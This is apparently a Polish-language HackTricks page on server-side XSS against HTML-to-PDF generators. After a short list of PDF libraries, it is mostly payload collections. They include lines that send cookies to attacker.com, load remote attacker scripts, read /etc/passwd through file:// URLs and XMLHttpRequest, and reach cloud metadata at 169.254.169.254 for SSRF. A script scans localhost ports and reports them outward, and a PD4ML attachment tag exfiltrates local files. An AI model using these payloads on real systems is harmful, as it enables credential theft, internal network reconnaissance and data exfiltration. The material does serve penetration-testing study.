Server Side XSS (Dynamic PDF)

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Server Side XSS (Dynamiczny PDF)

Jeśli strona internetowa tworzy plik PDF przy użyciu kontrolowanego przez użytkownika wejścia, można spróbować oszukać bota, który tworzy PDF, aby wykonał dowolny kod JS. Jeśli bot tworzący PDF znajdzie jakieś tagi HTML, to je zinterpretuje, a ty możesz wykorzystać to zachowanie, aby spowodować Server XSS.

Należy jednak zauważyć, że tagi <script></script> nie zawsze działają, więc będziesz potrzebować innej metody do wykonania JS (na przykład, wykorzystując <img ). Należy również zauważyć, że w przypadku zwykłego ataku będziesz mógł zobaczyć/pobrać utworzony plik PDF, więc będziesz mógł zobaczyć wszystko, co napiszesz za pomocą JS (używając np. document.write()). Jednak jeśli nie możesz zobaczyć utworzonego pliku PDF, prawdopodobnie będziesz musiał wydobyć informacje, wykonując żądanie sieciowe do siebie (ślepy atak).

Popularne narzędzia do generowania PDF

  • wkhtmltopdf jest znane z możliwości konwertowania HTML i CSS na dokumenty PDF, wykorzystując silnik renderowania WebKit. Narzędzie to jest dostępne jako otwarte narzędzie wiersza poleceń, co czyni je dostępnym dla szerokiego spektrum zastosowań.

  • TCPDF oferuje solidne rozwiązanie w ekosystemie PHP do generowania plików PDF. Jest ono zdolne do obsługi obrazów, grafiki i szyfrowania, co pokazuje jego wszechstronność w tworzeniu złożonych dokumentów.

  • Dla osób pracujących w środowisku Node.js, PDFKit stanowi wygodną opcję. Umożliwia generowanie dokumentów PDF bezpośrednio z HTML i CSS, tworząc most między treścią internetową a formatami do druku.

  • Deweloperzy Javy mogą preferować iText, bibliotekę, która nie tylko ułatwia tworzenie plików PDF, ale także obsługuje zaawansowane funkcje, takie jak podpisy cyfrowe i wypełnianie formularzy. Jej kompleksowy zestaw funkcji sprawia, że jest odpowiednia do generowania bezpiecznych i interaktywnych dokumentów.

  • FPDF to kolejna biblioteka PHP, wyróżniająca się prostotą i łatwością użycia. Jest przeznaczona dla programistów poszukujących prostego podejścia do generowania plików PDF, bez konieczności korzystania z rozbudowanych funkcji.

Payloady

Odkrywanie

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

Jeden z wcześniejszych lub następujących payloadów może być użyty wewnątrz tego payloadu SVG. Jeden iframe, który uzyskuje dostęp do subdomeny Burpcollab, oraz drugi, który uzyskuje dostęp do punktu końcowego metadanych, są podane jako przykłady.

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

Możesz znaleźć wiele innych ładunków SVG na stronie https://github.com/allanlw/svg-cheatsheet

Ujawnienie ścieżki

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Załaduj zewnętrzny skrypt

Najlepszym sposobem na wykorzystanie tej podatności jest nadużycie jej w celu zmuszenia bota do załadowania skryptu, który kontrolujesz lokalnie. Następnie będziesz mógł lokalnie zmieniać ładunek i zmusić bota do załadowania go za każdym razem przy użyciu tego samego kodu.

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

Odczytaj lokalny plik / SSRF

Zmień file:///etc/passwd na http://169.254.169.254/latest/user-data na przykład, aby spróbować uzyskać dostęp do zewnętrznej strony internetowej (SSRF).

Jeśli SSRF jest dozwolone, ale nie możesz dotrzeć do interesującej domeny lub adresu IP, sprawdź tę stronę w poszukiwaniu potencjalnych bypassów.

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Opóźnienie bota

W niektórych przypadkach, podczas przeprowadzania testów penetracyjnych, może być konieczne wprowadzenie opóźnienia między kolejnymi żądaniami wysyłanymi przez bota. Opóźnienie to ma na celu naśladowanie naturalnego zachowania użytkownika i uniknięcie wykrycia przez systemy zabezpieczeń.

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

Skanowanie portów

Port scanowanie jest jedną z podstawowych technik stosowanych w testach penetracyjnych. Polega na skanowaniu otwartych portów na docelowym systemie w celu identyfikacji usług działających na tych portach. Pozwala to na zidentyfikowanie potencjalnych podatności i ewentualne wykorzystanie ich w celu uzyskania nieautoryzowanego dostępu.

Istnieje wiele narzędzi dostępnych do przeprowadzania skanowania portów, takich jak Nmap, Masscan czy Zmap. Te narzędzia umożliwiają skanowanie pojedynczych portów, zakresów portów lub nawet całych sieci w poszukiwaniu otwartych portów.

Podczas skanowania portów ważne jest zachowanie ostrożności i przestrzeganie zasad etyki hackingu. Należy uzyskać uprawnienia do przeprowadzenia skanowania portów na systemie, który jest w pełni kontrolowany przez Ciebie lub na który masz zgodę właściciela systemu.

Wyniki skanowania portów mogą dostarczyć cennych informacji na temat infrastruktury sieciowej i potencjalnych podatności. Należy jednak pamiętać, że skanowanie portów może być uznane za nielegalne, jeśli jest przeprowadzane bez zgody właściciela systemu. Zawsze należy działać zgodnie z obowiązującymi przepisami prawnymi i etycznymi standardami.

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

Ta podatność może być bardzo łatwo przekształcona w SSRF (ponieważ można zmusić skrypt do ładowania zewnętrznych zasobów). Spróbuj wykorzystać to (odczytaj jakieś metadane?).

Załączniki: PD4ML

Istnieją niektóre silniki HTML 2 PDF, które pozwalają na określanie załączników dla pliku PDF, takich jak PD4ML. Można wykorzystać tę funkcję, aby dołączyć dowolny plik lokalny do pliku PDF. Aby otworzyć załącznik, otworzyłem plik za pomocą Firefoksa i dwukrotnie kliknąłem symbol spinacza aby zapisać załącznik jako nowy plik. Przechwycenie odpowiedzi PDF za pomocą narzędzia Burp powinno również pokazać załącznik w czystym tekście wewnątrz pliku PDF.

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated